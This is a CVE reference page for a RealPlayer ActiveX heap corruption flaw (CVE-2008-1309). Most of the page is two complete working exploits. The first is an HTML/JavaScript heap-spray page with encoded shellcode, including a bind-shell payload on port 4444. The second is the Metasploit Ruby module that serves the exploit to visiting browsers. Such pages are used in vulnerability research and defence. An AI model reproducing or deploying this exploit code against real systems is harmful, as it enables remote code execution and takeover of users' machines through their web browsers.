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CVE Descriptions
The RealAudioObjects.RealAudio ActiveX control in rmoc3260.dll in RealNetworks RealPlayer Enterprise, RealPlayer 10, RealPlayer 10.5 before build 6.0.12.1675, and RealPlayer 11 before 11.0.3 build 6.0.14.806 does not properly manage memory for the (1) Console or (2) Controls property, which allows remote attackers to execute arbitrary code or cause a denial of service (browser crash) via a series of assignments of long string values, which triggers an overwrite of freed heap memory.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 5332
Publication date : 2008-03-31 22h00 +00:00
Author : Elazar
EDB Verified : Yes
<!--
Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit(Heap Corruption)
written by e.b.
Tested on Windows XP SP2(fully patched) English, IE6, rmoc3260.dll version 6.0.10.45
Thanks to h.d.m. and the Metasploit crew
-->
<html>
<head>
<title>Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit</title>
<script language="JavaScript" defer>
function Check() {
// win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
"%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
"%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
"%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
"%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
"%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
"%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
"%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
"%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
"%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
"%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
"%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
"%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
"%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
"%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
"%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
"%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
"%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
"%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
"%u314e%u7475%u7038%u7765%u4370");
// win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
"%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a" +
"%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241" +
"%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c" +
"%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f" +
"%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c" +
"%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f" +
"%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b" +
"%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c" +
"%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31" +
"%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35" +
"%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b" +
"%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663" +
"%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733" +
"%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470" +
"%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358" +
"%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f" +
"%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458" +
"%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58" +
"%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f" +
"%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275" +
"%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45" +
"%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033" +
"%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046" +
"%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035" +
"%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036" +
"%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64" +
"%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35" +
"%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67" +
"%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30" +
"%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f" +
"%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246" +
"%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139" +
"%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652" +
"%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e" +
"%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b" +
"%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075" +
"%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251" +
"%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f" +
"%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f" +
"%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b" +
"%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952" +
"%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73" +
"%u684f%u3956%u386f%u4350");
var bigblock = unescape("%u0C0C%u0C0C");
var headersize = 20;
var slackspace = headersize + shellcode1.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 400; i++){ memory[i] = block + shellcode1 }
var buf = '';
while (buf.length < 32) buf = buf + unescape("%0C");
var m = '';
m = obj.Console;
obj.Console = buf;
obj.Console = m;
m = obj.Console;
obj.Console = buf;
obj.Console = m;
}
</script>
</head>
<body onload="JavaScript: return Check();">
<object classid="clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93" id="obj">
Unable to create object
</object>
</body>
</html>
# milw0rm.com [2008-04-01]
Exploit Database EDB-ID : 16584
Publication date : 2010-06-14 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: realplayer_console.rb 9525 2010-06-15 07:18:08Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'RealPlayer rmoc3260.dll ActiveX Control Heap Corruption',
'Description' => %q{
This module exploits a heap corruption vulnerability in the RealPlayer ActiveX control.
By sending a specially crafted string to the 'Console' property
in the rmoc3260.dll control, an attacker may be able to execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],
'Version' => '$Revision: 9525 $',
'References' =>
[
[ 'CVE', '2008-1309' ],
[ 'OSVDB', '42946' ],
[ 'BID', '28157' ],
[ 'URL', 'http://secunia.com/advisories/29315/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 32, 'Ret' => 0x0C0C0C0C } ]
],
'DisclosureDate' => 'Mar 8 2008',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Setup exploit buffers
nops = Rex::Text.to_unescape([target.ret].pack('V'))
ret = Rex::Text.uri_encode([target.ret].pack('L'))
blocksize = 0x40000
fillto = 400
offset = target['Offset']
# Randomize the javascript variable names
racontrol = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
j_ret = rand_text_alpha(rand(100) + 1)
# Build out the message
content = %Q|<html>
<object classid='clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93' id='#{racontrol}'></object>
<script language='javascript'>
#{j_shellcode} = unescape('#{shellcode}');
#{j_nops} = unescape('#{nops}');
#{j_headersize} = 20;
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
#{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
#{j_ret} = unescape('#{ret}');
while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};
#{racontrol}.Console = #{j_ret};
#{racontrol}.Console = '';
#{racontrol}.Console = #{j_ret};
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
Products Mentioned
Configuraton 0
Realnetworks>>Realplayer >> Version *
- Realnetworks>>Realplayer >> Version 2.1.2 (Open CPE detail)
- Realnetworks>>Realplayer >> Version 2.1.3 (Open CPE detail)
- Realnetworks>>Realplayer >> Version 2.1.4 (Open CPE detail)
Realnetworks>>Realplayer >> Version 10.0
- Realnetworks>>Realplayer >> Version 10.0 (Open CPE detail)
- Realnetworks>>Realplayer >> Version 10.0 (Open CPE detail)
- Realnetworks>>Realplayer >> Version 10.0 (Open CPE detail)
- Realnetworks>>Realplayer >> Version 10.0 (Open CPE detail)
- Realnetworks>>Realplayer >> Version 10.0 (Open CPE detail)
- Realnetworks>>Realplayer >> Version 10.0 (Open CPE detail)
- Realnetworks>>Realplayer >> Version 10.0 (Open CPE detail)
- Realnetworks>>Realplayer >> Version 10.0 (Open CPE detail)
Realnetworks>>Realplayer >> Version 10.5
- Realnetworks>>Realplayer >> Version 10.5 (Open CPE detail)
Realnetworks>>Realplayer >> Version 11
References
http://lists.grok.org.uk/pipermail/full-disclosure/2008-March/060659.html
Tags : mailing-list, x_refsource_FULLDISC
Tags : mailing-list, x_refsource_FULLDISC
http://www.securityfocus.com/archive/1/494779/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
